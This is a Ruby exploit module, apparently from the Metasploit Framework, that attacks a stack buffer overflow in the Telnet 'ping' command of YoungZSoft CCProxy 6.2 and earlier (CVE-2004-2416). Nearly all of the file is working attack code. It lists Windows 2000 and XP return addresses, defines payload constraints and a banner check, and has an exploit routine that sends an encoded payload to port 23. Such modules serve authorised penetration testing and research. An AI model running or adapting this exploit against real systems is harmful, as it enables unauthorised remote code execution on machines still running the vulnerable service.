88 lines
2.2 KiB
Ruby
88 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
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'Description' => %q{
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This module exploits the YoungZSoft CCProxy <= v6.2 suite
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Telnet service. The stack is overwritten when sending an overly
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long address to the 'ping' command.
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},
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'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-2416' ],
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[ 'OSVDB', '11593' ],
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[ 'BID', '11666 ' ],
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[ 'URL', 'http://milw0rm.com/exploits/621' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 1012,
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'BadChars' => "\x00\x07\x08\x0a\x0d\x20",
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
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[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
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[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
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[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
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[ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
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[ 'Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
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],
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'DisclosureDate' => 'Nov 11 2004'))
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register_options(
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[
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Opt::RPORT(23),
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], self.class)
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end
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def check
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connect
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banner = sock.get_once(-1,3)
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disconnect
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if (banner =~ /CCProxy Telnet Service Ready/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
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sock.put(sploit + "\r\n")
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handler
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disconnect
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end
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end
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